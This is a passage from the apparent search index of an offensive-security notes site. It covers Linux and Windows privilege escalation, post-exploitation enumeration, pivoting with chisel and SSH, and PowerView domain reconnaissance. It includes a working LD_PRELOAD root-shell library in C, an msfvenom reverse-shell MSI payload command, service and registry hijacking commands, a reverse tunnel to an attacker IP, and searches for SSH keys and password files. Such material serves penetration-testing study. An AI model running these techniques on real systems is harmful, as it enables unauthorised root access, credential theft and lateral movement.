parent process. If LD_PRELOAD is specified together with env_keep, then we can compile our own malicious dynamic library and set LD_PRELOAD to it. Therefore, when we execute a binary with sudo, our library will be loaded before any other library and its initialisation function will be invoked with root permissions.","breadcrumbs":"Post Exploitation ยป Privilege Escalation ยป Linux ยป Sudo Escalation via LD_PRELOAD ยป Introduction","id":"168","title":"Introduction"},"169":{"body":"Writing the library is a fairly simple task. All we need to do is write an _init function in a C file. This procedure will contain the code we want to be executed when the library is loaded. #include \n#include \n#include void _init()\n{ unsetenv(\"LD_PRELOAD\"); // Unset LD_PRELOAD to avoid an infinite loop setgid(0); // Set root permissions setuid(0); // Set root permissions system(\"/bin/bash\");\n} We begin by unsetting the LD_PRELOAD variable from the environment. This is to preclude an infinite loop when /bin/bash is invoked. If our library didn't unset LD_PRELOAD, then when /bin/bash is called, our library will again be loaded first and then proceed onto launching /bin/bash yet again, which will again load our library and so on. The next two lines set the user and group IDs to those of root which ensures that the next commands are run with root privileges. Finally, system is called in order to spawn a bash shell. We now need to compile this file as a shared library: gcc -fPIC -shared -o exploit.so exploit.c -nostartfiles At last, we can invoke any binary with sudo and specify the path to our library as LD_PRELOAD. Note that the path to the library must be specified as an absolute path.","breadcrumbs":"Post Exploitation ยป Privilege Escalation ยป Linux ยป Sudo Escalation via LD_PRELOAD ยป Writing the Malicious Library","id":"169","title":"Writing the Malicious Library"},"17":{"body":"Nmap is a free and open source port and network scanner, which may also be used for vulnerability scanning through its scripting engine - the NSE.","breadcrumbs":"Reconnaissance ยป Enumeration ยป nmap ยป Introduction","id":"17","title":"Introduction"},"170":{"body":"Once you have gained access to a system, it is paramount to look for other credentials which may be located on the system. These may be hidden in the Windows Registry, within log or configuration files, and more. Moreover, you should check to see if any credentials you have previously found work with anything else. You should also check if you have access to the Windows SYSTEM or SAM files or any of their backups, since those will contain the hashes for users on the system. If so, you might be able to perform a pass-the-hash attack or simply crack them. If the compromised system is a Windows Server, you should look for any stored credentials which can be used with RunAs. You should check the Windows build and version, see if there are any kernel exploits available. You should then move onto enumerating misconfigurations in services and other Windows-specific vectors. If none of these bear any fruit, you should look at the programmes installed on the system, enumerate them for misconfigurations, explore their versions and any exploits which may be available. If none are found, you might consider reverse engineering and binary exploitation as a last resort. Finally, if you have gained access as a local administrator, you should proceeding to looking for ways to bypass UAC . In essence: Credentials Reused Credentials Credentials in Configuration or Log files Credentials in the Windows Registry Credentials from Windows SAM and SYSTEM files Pass-the-hash attacks Stored Credentials (Windows Servers) Kernel Exploits Misconfigurations Services AutoRuns Startup Applications Scheduled Tasks AlwaysInstallElevated Group Policy Bypassing UAC","breadcrumbs":"Post Exploitation ยป Privilege Escalation ยป Windows ยป Methodology","id":"170","title":"Methodology"},"171":{"body":"Windows Services allow for the creation of continuously running executable applications. These applications have the ability to be automatically started upon booting, they may be paused and restarted, and they lack a user interface. In order for a service to function properly, it needs to be associated with a system or user account. There are a few common built-in system accounts that are used to operate services such as LocalService, NetworkService, and LocalSystem. The following table describes the default secure access rights for accounts on a Windows system: Account Permissions Local Authenticated Users (including LocalService and Network Service) READ_CONTROL SERVICE_ENUMERATE DEPENDENTS SERVICE_INTERROGATE SERVICE_QUERY_CONFIG SERVICE_QUERY_STATUS SERVICE_USER_DEFINED_CONTROL Remote Authenticated Users Same as those for Local Authenitcated Users. LocalSystem READ_CONTROL SERVICE_ENUMERATE DEPENDENTS SERVICE_INTERROGATE SERVICE_PAUSE_CONTINUE SERVICE_QUERY_CONFIG SERVICE_QUERY_STATUS SERVICE_START SERVICE_STOP SERVICE_USER_DEFINED_CONTROL Administrators DELETE READ_CONTROL SERVICE_ALL_ACCESS WRITE_DAC WRITE_OWNER Moreover, a registry entry exists for each service in HKLM\\SYSTEM\\CurrentControlSet\\Services.","breadcrumbs":"Post Exploitation ยป Privilege Escalation ยป Windows ยป Misconfigured Services ยป Introduction","id":"171","title":"Introduction"},"172":{"body":"In general, manual enumeration of Windows services is a rather cumbersome process, so I suggest that you use a tool for automation such as WinPEAS . winpeas.exe servicesinfo The permissions a user has on a specific service can be inspected via the AccessChk Windows Utility. acceschk.exe /accepteula -uwcqv ","breadcrumbs":"Post Exploitation ยป Privilege Escalation ยป Windows ยป Misconfigured Services ยป Enumeration","id":"172","title":"Enumeration"},"173":{"body":"This is a vulnerability which can be used to force a misconfigured service to execute an arbitrary programme in lieu of its intended one, as long as the path to that executable contains spaces. On its own, this does not allow for privilege escalation, but it becomes a really powerful tool when the misconfigured service is set to run with system privileges. Let's take a look at the following path: C:\\Program Files\\Vulnerable Service\\service.exe If this path was specified to the service in quotation marks, \"C:\\Program Files\\Vulnerable Service\\service.exe\", then Windows will treat it correctly, executing the service.exe file in the C:\\Program Files\\Vulnerable Service directory. However, Windows is not the sharpest tool in the box and if the path is provided without quotation marks, then it will see ambiguity in what it is supposed to execute. The path will be split at each space character - the first segment will be treated as the executable's name and the rest will be seen as command-line arguments to be passed to it. So at first, Windows will try to execute the following: C:\\Program.exe Files\\Vulnerable Service\\service.exe Once Windows determines that the C:\\Program.exe file does not exist, it will look for the next space character, treat the characters up to it as the new path and try to execute it again: C:\\Program Files\\Vulnerable.exe Service\\service.exe Now, this is process is recursive until a file is successfully executed or the end of the path has been reached. If we are able to create a malicious executable in any of the possible paths that Windows will traverse, then we can hijack the service before the intended file is found. Once you have identified a vulnerable service, you can query to confirm that the path is indeed unquoted. Let's check our access to the possible directories that will be probed by Windows: accesschk.exe /accepteula -uwdq While we cannot write within the C:\\ or C:\\Program Files directories (meaning that we cannot create C:\\Program.exe or C:\\Program Files\\Unquoted.exe), we do have write access to C:\\Program Files\\Unquoted Path Service\\. What this entails is our ability to create a Common.exe binary inside this directory and, since the initial path was unquoted, the path C:\\Program Files\\Unquoted Path Service\\Common.exe will be probed before C:\\Program Files\\Unquoted Path Service\\Common Files\\unquotedpathservice.exe and once Windows finds our malicious executable there, it will be executed with the service's permissions. If we couldn't restart the service, then we could have simply waited for something else to execute it.","breadcrumbs":"Post Exploitation ยป Privilege Escalation ยป Windows ยป Misconfigured Services ยป Unquoted Service Paths ยป Unquoted Service Paths","id":"173","title":"Unquoted Service Paths"},"174":{"body":"As previously mentioned, each service is associated with a registry entry in the Windows Registry which is located at HKLM\\SYSTEM\\CurrentControlSet\\Services\\. This entry is essentially the configuration of the service and if it is writable, then it can be abused by an adversary to overwrite the path to the binary application of the service with a malicious one. Querying regsvc reveals that it is running with system privileges and its registry entry is writable by all logged-on users (NT AUTHORITY\\INTERACTIVE). All we need to do now is overwrite the ImagePath registry key in the service's entry to point to our malicious executable: reg add HKLM\\SYSTEM\\CurrentControlSet\\services\\ /v ImagePath /t REG_EXPAND_SZ /d /f Restart the service and catch the shell: net start regsvc","breadcrumbs":"Post Exploitation ยป Privilege Escalation ยป Windows ยป Misconfigured Services ยป Weak Registry Permissions ยป Weak Registry Permissions","id":"174","title":"Weak Registry Permissions"},"175":{"body":"This is a technique which leverages misconfigurations in the service permissions for a specific user. If permissions for a specific user differ from the ones described in the table here , then they may manifest as a possible vulnerability. To identify such services, it is useful to use WinPEAS. It appears that user has write access to the service daclsvc and can also start the service. We can query the service to see what user account is actually executing it: sc qc It appears that the service is running as LocalSystem which is an account with more privileges than our user account. If we can write to the service, then we can alter its configuration and change the path to the executable which is supposed to be run: sc config binpath=\"\\\"\\\"\" All we now need to do is setup a listener and run the service: net start And we get a system shell back:","breadcrumbs":"Post Exploitation ยป Privilege Escalation ยป Windows ยป Misconfigured Services ยป Insecure Service Permissions ยป Insecure Service Permissions","id":"175","title":"Insecure Service Permissions"},"176":{"body":"The binary application executed by a service is considered insecure when an adversary has write access to it when they shouldn't. This means that an attacker can simply replace the file with a malicious executable. If the service is configured to run with system privileges, then those privileges will be inherited by the attacker's executable! All we need to do is simply replace the legitimate executable with a malicious one and then start the service.","breadcrumbs":"Post Exploitation ยป Privilege Escalation ยป Windows ยป Misconfigured Services ยป Insecure Service Executable Permissions ยป Introduction","id":"176","title":"Introduction"},"177":{"body":"AutoRun application are programmes which have been set up to automatically execute when a user logs in for the first time after booting the system. This is typically done so that the application can look for updates and update itself if necessary. For example, Steam, Spotify, and Discord, all set this up upon installation. On its own, this does not pose a security risk. Where the real vulnerabilities lies is within AutoRuns which are writable by anyone. AutoRuns can be enumerated by querying the registry: reg query HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run Now all we need to do is generate the malicious executable and replace the AutoRun programme with it. Note that in order for the exploit to work, an administrator would need to log in. Now, as soon as the administrator logs in, we will get an elevated shell.","breadcrumbs":"Post Exploitation ยป Privilege Escalation ยป Windows ยป AutoRun Programmes ยป Introduction","id":"177","title":"Introduction"},"178":{"body":"Windows has a group policy which, when enabled, allows a user to install a Microsoft Windows Installer Package (.msi file) with elevated privileges. This poses a security risk because an adversary can simply generate a malicious .msi file and execute it with admin privileges. In order to check for this vulnerability, one need only query the following registry keys: reg query HKCU\\SOFTWARE\\Policies\\Microsoft\\Windows\\Installer /v AlwaysInstallElevated\nreg query HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows\\Installer /v AlwaysInstallElevated The AlwaysInstallElevated policy appears enabled, so we can generate a malicious .msi executable. One way to do this is through Metasploit: msfvenom -p windows/x64/shell_reverse_tcp LHOST= LPORT= -f msi -o reverse.msi Next, transfer the executable to the target machine and execute it with msiexec: msiexec /quiet /qn /i ","breadcrumbs":"Post Exploitation ยป Privilege Escalation ยป Windows ยป AlwaysInstallElevated Group Policy ยป Introduction","id":"178","title":"Introduction"},"179":{"body":"Kernel exploits are one of the most trivial privilege escalation paths available. One of the first things you should do when seeking for a privilege escalation vector is to look at the kernel version as well as any installed patches and determine if it is vulnerable to a known kernel exploit. Plenty of exploits can be found just by searching up the kernel version, but a cheat sheet which I like can be found here . Naturally, the exploitation of a kernel exploit is highly specific on a case-by-case basis. Once you have identified that the system is vulnerable to a known kernel exploit, you will need to find the exploit code.","breadcrumbs":"Post Exploitation ยป Privilege Escalation ยป Windows ยป Kernel Exploits ยป Introduction","id":"179","title":"Introduction"},"18":{"body":"The syntax for nmap is as follows: nmap target_range It is always good practice to run Nmap with root privileges as they are required for some of the tool's functionality. You can do a simple scan on a single IP through the following command: nmap By default, Nmap scans the top 1000 most commonly used ports (these are not necssarily the ports 0-999). You can specify specific ports for scanning with the -p flag followed by a comma-separated list of ports. Specifying -p- will cause nmap to scan all ports (0-65535).","breadcrumbs":"Reconnaissance ยป Enumeration ยป nmap ยป Syntax","id":"18","title":"Syntax"},"180":{"body":"Windows Scheduled Tasks allow for the periodic execution of scripts. These can be manually enumerated via the following command: schtasks /query /fo LIST /v A scheduled task is of interest when it is executed with elevated privileges but we have write access to the script it executes. This script is fairly simple, so we can just append a line to it which executes a malicious executable. When the time for the scheduled task comes, we will catch an elevated shell.","breadcrumbs":"Post Exploitation ยป Privilege Escalation ยป Windows ยป Scheduled Tasks ยป Introduction","id":"180","title":"Introduction"},"181":{"body":"User Account Control (UAC) is a security measure introduced in Windows Vista which aims to prevent unauthorised changes to the operating system. It ensures that any such changes require the assent of the administrator or a user who is part of the local administrators group. Administrative privileges in Windows are a bit different from those in Linux. Even if an adversary manages to execute some code from an administrator account, this code will not run with elevated privileges, unless it was \"run as Administrator\"-ed. When an unprivileged user attempts to run a programme as administrator, they will be prompted by UAC to enter the administrator's password. However, if the user is privileged (they are an administrator), they will still be prompted with the same UAC prompt, but it will ask them for consent in lieu of a password. Essentially, an administrative user will need to click \"Yes\" instead of typing their password. What is described so far is the default behaviour. UAC, however, has different protection levels which can be configured. Now there are 3 (two of the options are the same but with different aesthetics) options. The first option, and the most strict, is Always Notify. If UAC is set to this, then any programme which tries to run with elevated privileges will beget a UAC prompt - including Windows built-in ones. Next is the default setting - Notify me when application try to make changes to my computer. Under this configuration, regular applications will still cause a UAC prompt to show up whenever run as administrator, however, Windows built-in programmes can be run with elevated privileges without such a prompt. Following is another option which is the exact same as this one, but the UAC prompt will not dim the screen. This is useful for computers for which dimming the screen is not exactly a trifling task. Finally, the Never Notify means that a UAC prompt will never be spawned no matter who is trying to run the application with elevated privileges. UAC can be bypassed if an adversary already has access to a user account which is part of the local administrators group and UAC is configured to the default setting.","breadcrumbs":"Post Exploitation ยป Privilege Escalation ยป Windows ยป Bypassing UAC ยป Introduction","id":"181","title":"Introduction"},"182":{"body":"There are many tools for bypassing UAC and which one is to be used depends on the Windows build and version. One such tool which has lots of methods for bypassing UAC is UACMe . You will need to build it from source using Visual Studio, meaning that you will need a Windows machine in order to compile it.","breadcrumbs":"Post Exploitation ยป Privilege Escalation ยป Windows ยป Bypassing UAC ยป Bypassing UAC","id":"182","title":"Bypassing UAC"},"183":{"body":"Windows Startup applications are very similar to AutoRun Programmes , however, they are executed every time a user logs in. If we can write to the Startups directory, then we can place a malicious executable there which will be executed upon the next login. If the next user to log in is an administrator, then we will gain elevated privileges. To check for write access to the Startups directory, we can use accesschk: C:\\PrivEsc\\accesschk.exe /accepteula -d \"C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp\" All we need to do is place a malicious executable in the directory and wait for an admin to log in.","breadcrumbs":"Post Exploitation ยป Privilege Escalation ยป Windows ยป Startup Applications ยป Introduction","id":"183","title":"Introduction"},"184":{"body":"Windows Servers have capabilities to store credentials using a built-in utility called cmdkey . On its own, cmdkey is rather useless to an adversary - you can only really use it to list what credentials are stored but not actually reveal them. cmdkey /list The real deal is another built-in utility called Runas . It allows one user to execute a binary with the permissions of another and, what is essential here, this can be achieved with only stored credentials. One doesn't even need to know what the credentials are - so long as a user has their credentials stored, then they can be used to execute programmes as that user. runas /savedcred /user: ","breadcrumbs":"Post Exploitation ยป Privilege Escalation ยป Windows ยป Stored Credentials ยป Introduction","id":"184","title":"Introduction"},"185":{"body":"Windows Access Tokens are objects which describe the security context in which a thread or process is run. The information within an access token identifies the user and their privileges of said process or thread. Upon each successful user log-on, an access token for the user is generated and every process executed by this user will contain a copy of this token called the primary token . This token is used by the system to inspect the privileges of the process when the process tries to interact with something which may require certain privileges. However, threads of the process are allowed to use a second token, called an impersonation token , to interact with objects as if they had a different security context and different privileges. This is only allowed when the process has the SeImpersonatePrivilege. As with UAC bypassing , exploiting token impersonation is highly dependent on the Windows build and version. However, the most infamous exploits are the Potato exploits .","breadcrumbs":"Post Exploitation ยป Privilege Escalation ยป Windows ยป Token Impersonation ยป Introduction","id":"185","title":"Introduction"},"186":{"body":"","breadcrumbs":"Post Exploitation ยป Enumeration","id":"186","title":"Post Exploitation"},"187":{"body":"There are plenty of tools which can be used for automating post-exploitation enumeration on Linux machines.","breadcrumbs":"Post Exploitation ยป Enumeration ยป Linux ยป Introduction","id":"187","title":"Introduction"},"188":{"body":"LinPEAS is an amazing tool for automation enumeration. It is written in Bash which means that it requires no additional dependencies and can be freely run. In order to acquire the latest version of LinPEAS, run the following command: wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh By default, running LinPEAS will perform many checks on the system and spit out a deluge of information. However, the tool can also be used to only perform specific tasks using the -o argument. Enumerate system information: ./linpeas.sh -o system_information Enumerate containers on the machine: ./linpeas.sh -o container Enumerate cloud platforms: ./linpeas.sh -o cloud Enumerate available software: ./linpeas.sh -o software_information Enumerate processes, cronjobs, services, and sockets: ./linpeas.sh -o procs_crons_timers_srvcs_sockets Enumerate network information: ./linpeas.sh -o network_information Enumerate user information: ./linpeas.sh -o users_information Enumerate interesting files: ./linpeas.sh -o interesting_files","breadcrumbs":"Post Exploitation ยป Enumeration ยป Linux ยป Linux Enumeration with LinPEAS","id":"188","title":"Linux Enumeration with LinPEAS"},"189":{"body":"Find all files in a directory which contain \"pass\" or \"password\", ignoring case: grep --color=auto -rnw '' -ie \"password\\|pass\" --color=always 2>/dev/null Find all files in a directory which contain \"pass\" or \"password\" in their name, ignoring case: find / -name \"*pass*\" 2>/dev/null","breadcrumbs":"Post Exploitation ยป Enumeration ยป Linux ยป Hunting Down Sensitive Files ยป Finding Files Containing Passwords","id":"189","title":"Finding Files Containing Passwords"},"19":{"body":"open - an application is actively listening for TCP connections, UDP datagrams or SCTP associations on this port closed - the port is accessible (it receives and responds to Nmap probe packets), but there is no application listening on it filtered - Nmap cannot determine whether the port is open because packet filtering prevents its probes from reaching the port. Usually, the filter sends no response, so Nmap needs to resend the probe a few times in order to be sure that it wasn't dropped due to traffic congestion. This slows the scan drastically unfiltered - the port is accessible, but Nmap is unable to determine whether it is open or closed. Only the ACK scan, used for mapping firewall rulesets, may put ports in this state open|filtered - Nmap is unable to determine whether the port is open or filtered. This occurs for scan types in which open ports give no response closed|filtered - Nmap is unable to determine whether the port is closed or filtered. It is only used for the IP ID idle scan.","breadcrumbs":"Reconnaissance ยป Enumeration ยป nmap ยป Port States","id":"19","title":"Port States"},"190":{"body":"find / -name id_rsa 2>/dev/null","breadcrumbs":"Post Exploitation ยป Enumeration ยป Linux ยป Hunting Down Sensitive Files ยป Finding SSH Keys","id":"190","title":"Finding SSH Keys"},"191":{"body":"System enumeration is a crucial, typically first, step in the enumeration phase of post-exploitation.","breadcrumbs":"Post Exploitation ยป Enumeration ยป Linux ยป System Enumeration ยป Introduction","id":"191","title":"Introduction"},"192":{"body":"cat /etc/issue","breadcrumbs":"Post Exploitation ยป Enumeration ยป Linux ยป System Enumeration ยป Enumerating the Distribution Version","id":"192","title":"Enumerating the Distribution Version"},"193":{"body":"uname -a cat /proc/version","breadcrumbs":"Post Exploitation ยป Enumeration ยป Linux ยป System Enumeration ยป Enumerating Linux Kernel Version Information","id":"193","title":"Enumerating Linux Kernel Version Information"},"194":{"body":"lscpu","breadcrumbs":"Post Exploitation ยป Enumeration ยป Linux ยป System Enumeration ยป Enumerating CPU Architecture","id":"194","title":"Enumerating CPU Architecture"},"195":{"body":"ps aux","breadcrumbs":"Post Exploitation ยป Enumeration ยป Linux ยป System Enumeration ยป Enumerating Running Services","id":"195","title":"Enumerating Running Services"},"196":{"body":"List files owned by a certain user in a directory: find -user 2>/dev/null List files owned by a certain user in a directory (without /proc): find -user 2>/dev/null | grep -v \"/proc\" List files owned by a certain group in a directory: find -group 2>/dev/null find -group 2>/dev/null | grep -v \"/proc\" # ignore /proc","breadcrumbs":"Post Exploitation ยป Enumeration ยป Linux ยป System Enumeration ยป File System Enumeration","id":"196","title":"File System Enumeration"},"197":{"body":"whoami id","breadcrumbs":"Post Exploitation ยป Enumeration ยป Linux ยป User Enumeration ยป Enumerate User Name and Group","id":"197","title":"Enumerate User Name and Group"},"198":{"body":"sudo -l","breadcrumbs":"Post Exploitation ยป Enumeration ยป Linux ยป User Enumeration ยป Enumerate Commands Runnable as Root","id":"198","title":"Enumerate Commands Runnable as Root"},"199":{"body":"cat /etc/passwd","breadcrumbs":"Post Exploitation ยป Enumeration ยป Linux ยป User Enumeration ยป List Users on the Machine","id":"199","title":"List Users on the Machine"},"2":{"body":"You should only make changes inside the eight category folders under the Notes/ directory. Minor edits to already existing content outside of the aforementioned allowed directories are permitted as long as they do not bring any semantic change - for example fixing typos.","breadcrumbs":"Cyberclopaedia ยป Contributing ยป In-Scope","id":"2","title":"In-Scope"},"20":{"body":"The default scan type with root privileges (-sS option) It does not complete a full TCP handshake, therefore it's a bit faster and used to be more silent (it is called a silent scan, although that is no longer the case) Also known as a half-open scan You can use the -sS option or omit it entirely to perform a TCP SYN scan. This type of scan works as follows: Nmap sends a SYN packet to the target, initiating a TCP connection. The target responds with SYN ACK, telling Nmap that the port is accessible. Finally, Nmap terminates the connection before it's finished by issueing a RST packet.","breadcrumbs":"Reconnaissance ยป Enumeration ยป nmap ยป TCP SYN & TCP Connect scans ยป TCP SYN Scan","id":"20","title":"TCP SYN Scan"},"200":{"body":"history","breadcrumbs":"Post Exploitation ยป Enumeration ยป Linux ยป User Enumeration ยป Get History of Commands the User Has Run","id":"200","title":"Get History of Commands the User Has Run"},"201":{"body":"Get a list of the network interfaces connected to the machine with their IPs and MACs: ip a Get a list of the machines that the victim has been interacting with (print the ARP table): ip neigh","breadcrumbs":"Post Exploitation ยป Enumeration ยป Linux ยป Network Enumeration ยป List Network Interfaces and Network Information","id":"201","title":"List Network Interfaces and Network Information"},"202":{"body":"netstat -ano","breadcrumbs":"Post Exploitation ยป Enumeration ยป Linux ยป Network Enumeration ยป List Open Ports","id":"202","title":"List Open Ports"},"203":{"body":"Plenty of automated tools can be found for enumerating Windows machines. They are a bit more diverse than those available for Linux - there are precompiled binaries (.exes) available, but there are also PowerShell scripts and many more.","breadcrumbs":"Post Exploitation ยป Enumeration ยป Windows ยป Introduction","id":"203","title":"Introduction"},"204":{"body":"WinPEAS is an incredible tool for enumerating Windows machines. It comes in two flavours - .bat and .exe. It doesn't really matter which one you are going to run - both will do the job just fine - however, the .exe file requires .Net version 4.5.2 or later to be installed on the machine. Enumerating system information: winpeas.exe systeminfo","breadcrumbs":"Post Exploitation ยป Enumeration ยป Windows ยป Windows Enumeration with WinPEAS","id":"204","title":"Windows Enumeration with WinPEAS"},"205":{"body":"systeminfo","breadcrumbs":"Post Exploitation ยป Enumeration ยป Windows ยป System Enumeration ยป Enumerate System Information","id":"205","title":"Enumerate System Information"},"206":{"body":"wmic qfe","breadcrumbs":"Post Exploitation ยป Enumeration ยป Windows ยป System Enumeration ยป Enumerate Patches","id":"206","title":"Enumerate Patches"},"207":{"body":"wmic logicaldisk get caption,description,providername","breadcrumbs":"Post Exploitation ยป Enumeration ยป Windows ยป System Enumeration ยป Enumerate Drives","id":"207","title":"Enumerate Drives"},"208":{"body":"Pivoting is the act of establishing access to internal resources on a network through a compromised machine. This allows an adversary to exifltrate local data which is usually not accessible from the outside world. Moreover, it permits the use of hacking tools as if they were running from inside the network.","breadcrumbs":"Post Exploitation ยป Pivoting ยป Introduction","id":"208","title":"Introduction"},"209":{"body":"Chisel is an open-source application for port tunneling. You can get it from https://github.com/jpillora/chisel. Clone the repo and follow the installation instructions. In order to port tunnel with chisel, you need to have a copy of the binary on both the attacking and the compromised machines.","breadcrumbs":"Post Exploitation ยป Pivoting ยป Tunneling with Chisel ยป Introduction","id":"209","title":"Introduction"},"21":{"body":"The default scan type when SYN scan isn't available - lacking root privileges (-sT option) Nmap initiates a complete TCP connection with the target The connection attempts are loggen onto the target It's usually slower","breadcrumbs":"Reconnaissance ยป Enumeration ยป nmap ยป TCP SYN & TCP Connect scans ยป TCP Connect Scan","id":"21","title":"TCP Connect Scan"},"210":{"body":"Run the following command on the attacking machine: chisel server -p [Listen Port] --reverse & This will setup a chisel server on Listen Port. On the compromised systenm run: chisel client [Attacker IP]:[Listen Port] R:[Local Host]:[Local Port]:[Remote Host]:[Remote Port] & This will endeavour to connect to a chisel server at the specified Attacker IP and Listen Port. Once it has connected to the remote chisel server, the chisel server will open Remote Port on the Remote Host and tunnel it to the Local Port of Local Host. From now on, any traffic sent to Remote Port on the Remote Host will be forwarded to the Local Port of Local Host. Chisel also defines some defaults for these values, which means you can omit some of them: Local Host - 0.0.0.0 Remote Host - 0.0.0.0 (server localhost) As an example, suppose you start a chisel server on your attacking machine (10.10.10.189) on port 1337, and want to gain access to port 3306 on the compromised machine. On the attacking machine you run: chisel server -p 1337 --reverse & On the compromised system you will run: chisel client 10.10.10.189:1337 R:localhost:3306:localhost:31337 & The above basically translates to \"Forward any traffic intended for port 31337 localhost on my attacking machine to port 3306 on the localhost of the compromised system\".","breadcrumbs":"Post Exploitation ยป Pivoting ยป Tunneling with Chisel ยป Creating a reverse tunnel","id":"210","title":"Creating a reverse tunnel"},"211":{"body":"SSH Tunneling is a port forwarding technique which uses SSH. It can be used to access internal resources within a network if you have SSH access to a host inside it. Additionally, the tunnel goes through a pre-existing SSH connection and can thus be utilised for bypassing firewalls.","breadcrumbs":"Post Exploitation ยป Pivoting ยป SSH Tunneling ยป Introduction","id":"211","title":"Introduction"},"212":{"body":"Local port forwarding is used when you want to create a bridge to a port that hosts an internal service which does not accept connections from outside the network. For this to work, you need to specify two ports - one for the service on the remote machine which you want to access and one on your local machine to create the listener on. Any packets sent to your machine on the local port will be tunneled to the port on the remote machine through the SSH connection. Whilst you will still receive any responses to requests you send through the tunnel, you won't be able to receive arbitrary data that gets sent to the remote port. The syntax is fairly simple: ssh -L [LOCAL_IP:]LOCAL_PORT:DESTINATION:DESTINATION_PORT SSH_SERVER [LOCAL_IP:] - the interface you want to open the listener on. This can be omitted and defaults to localhost. LOCAL_PORT - the port you want to start the listener on. Any traffic sent to this port will be forwarded through the tunnel. DESTINATION - the destination host. This does not need to (and most likely won't) match SSH_SERVER, since you are now trying to access an internal resource. DESTINATION_PORT - the port on the remote machine, that you want to access through the tunnel. You can also add -N -f to the above command, so that ssh runs in the background and only opens the tunnel without giving an interface for typing commands. We have now established a tunnel on my Kali machine's port 8080, which will forward any traffic to 192.168.129.137:1337, which is my ubuntu server. So let's see if we can access the web page. Wait, what? We just created the tunnel, but it does not seem to work? Well, remember how the DESTINATION does not need to match the server's IP? This is because the DESTINATION is where the traffic is sent after it gets to the remote machine. In a sense, the remote machine is now the sender and not us. Therefore, in order to access a resource internal to the network, we would need to change DESTINATION to something like localhost or another computer's IP. Let's again check to see if we have access to the resource hidden behind localhost:1337 on the Ubuntu server...","breadcrumbs":"Post Exploitation ยป Pivoting ยป SSH Tunneling ยป Local Port Forwarding","id":"212","title":"Local Port Forwarding"},"213":{"body":"Remote port forwarding is sort of the reverse of local port forwarding. A tunnel is opened and any traffic sent to the tunnel port on the remote machine will be forwarded to the local machine. In the exact same way as above, once the traffic is tunneled, the local machine becomes the sender. Therefore, remote port forwarding is more useful when you want to receive traffic from inside the network, rather than injecting it. You will be able to actively receive any data that is sent to the remote port, but you won't be able to send arbitrary data through the tunnel yourself. The syntax is also very similar: ssh -R [REMOTE:]REMOTE_PORT:DESTINATION:DESTINATION_PORT SSH_SERVER [REMOTE:] - the remote host to listen on. This resembles the LOCAL_IP when local port forwarding and can be omitted. If left empty, the remote machine will bind on all interfaces REMOTE_PORT - the port on the remote machine that is part of the tunnel. DESTINATION:DESTINATION_PORT - the host and port that the traffic should be sent to once it gets from the remote machine back to the local machine Once again, you can add -N -f to the command, so that ssh runs in the background and only opens the tunnel without giving an interface for typing commands.","breadcrumbs":"Post Exploitation ยป Pivoting ยป SSH Tunneling ยป Remote Port Forwarding","id":"213","title":"Remote Port Forwarding"},"214":{"body":"","breadcrumbs":"Post Exploitation ยป Active Directory (AD) ยป Active Directory (AD)","id":"214","title":"Active Directory (AD)"},"215":{"body":"PowerView is a PowerShell tool for the enumeration of Windows domains. The script can be downloaded from https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1. Before running, you need to bypass PowerShell's execution policy: powershell -ep bypass Load the script using . .\\PowerView.ps1 Normally, you'd be running these commands through some sort of shell, but for the sake of simplicity, I will show them all run locally.","breadcrumbs":"Post Exploitation ยป Active Directory (AD) ยป Domain Enumeration with PowerView ยป Overview","id":"215","title":"Overview"},"216":{"body":"Get-NetDomain","breadcrumbs":"Post Exploitation ยป Active Directory (AD) ยป Domain Enumeration with PowerView ยป Get Domain Information","id":"216","title":"Get Domain Information"},"217":{"body":"Get-NetDomainController","breadcrumbs":"Post Exploitation ยป Active Directory (AD) ยป Domain Enumeration with PowerView ยป Get Domain Controller Information","id":"217","title":"Get Domain Controller Information"},"218":{"body":"Get-DomainPolicy You can also get information about a specific policy with the following syntax: (Get-DomainPolicy).\"policy name\"","breadcrumbs":"Post Exploitation ยป Active Directory (AD) ยป Domain Enumeration with PowerView ยป Retrieve Domain Policy Information","id":"218","title":"Retrieve Domain Policy Information"},"219":{"body":"Get-NetUser The output of this command is rather messy, but you can pull specific information with the following syntax: Get-NetUser | select However, there is an even better way to do that.","breadcrumbs":"Post Exploitation ยป Active Directory (AD) ยป Domain Enumeration with PowerView ยป Get Users Information","id":"219","title":"Get Users Information"},"22":{"body":"These scan types make use of a small loophole in the TCP RFC to differentiate between open and closed ports. RFC 793 dictates that \"if the destination port state is CLOSED .... an incoming segment not containing a RST causes a RST to be sent in response.โ€ It also says the following about packets sent to open ports without the SYN, RST, or ACK bits set: โ€œyou are unlikely to get here, but if you do, drop the segment, and return\". Scanning systems compliant with this RFC text, any packet not containing SYN, RST, or ACK bits will beget an RST if the port is closed and no response at all if the port is open. So long as none of these flags are set, any combination of the other three (FIN, PSH, and URG) is fine. These scan types can sneak through certain non-stateful firewalls and packet filtering routers and are a little more stealthy than even a SYN scan. However, not all systems are compliant with RFC 793 - some send a RST even if the port is open. Some operating systems that do this include Microsoft Windows, a lot of Cisco devices, IBM OS/400, and BSDI. These scans will work against most Unix-based systems. It is not possible to distinguish an open from a filtered port with these scans, hence why the port states will be open|filtered.","breadcrumbs":"Reconnaissance ยป Enumeration ยป nmap ยป FIN, NULL & XMAS Scans ยป Overview","id":"22","title":"Overview"},"220":{"body":"Get a specific properties of all the users: Get-DomainUser -Properties ,,... It is useful to always have the samaccountname as the first property selected, so that you can easily match properties with specific users.","breadcrumbs":"Post Exploitation ยป Active Directory (AD) ยป Domain Enumeration with PowerView ยป Get User Property Information","id":"220","title":"Get User Property Information"},"221":{"body":"Get-DomainComputer | select samaccountname, operatingsystem","breadcrumbs":"Post Exploitation ยป Active Directory (AD) ยป Domain Enumeration with PowerView ยป Get Domain Machines","id":"221","title":"Get Domain Machines"},"222":{"body":"Get-NetGroup | select samaccountname, admincount, description","breadcrumbs":"Post Exploitation ยป Active Directory (AD) ยป Domain Enumeration with PowerView ยป Get Groups","id":"222","title":"Get Groups"},"223":{"body":"Get-NetGPO | select ,,...","breadcrumbs":"Post Exploitation ยป Active Directory (AD) ยป Domain Enumeration with PowerView ยป Get Group Policy Information","id":"223","title":"Get Group Policy 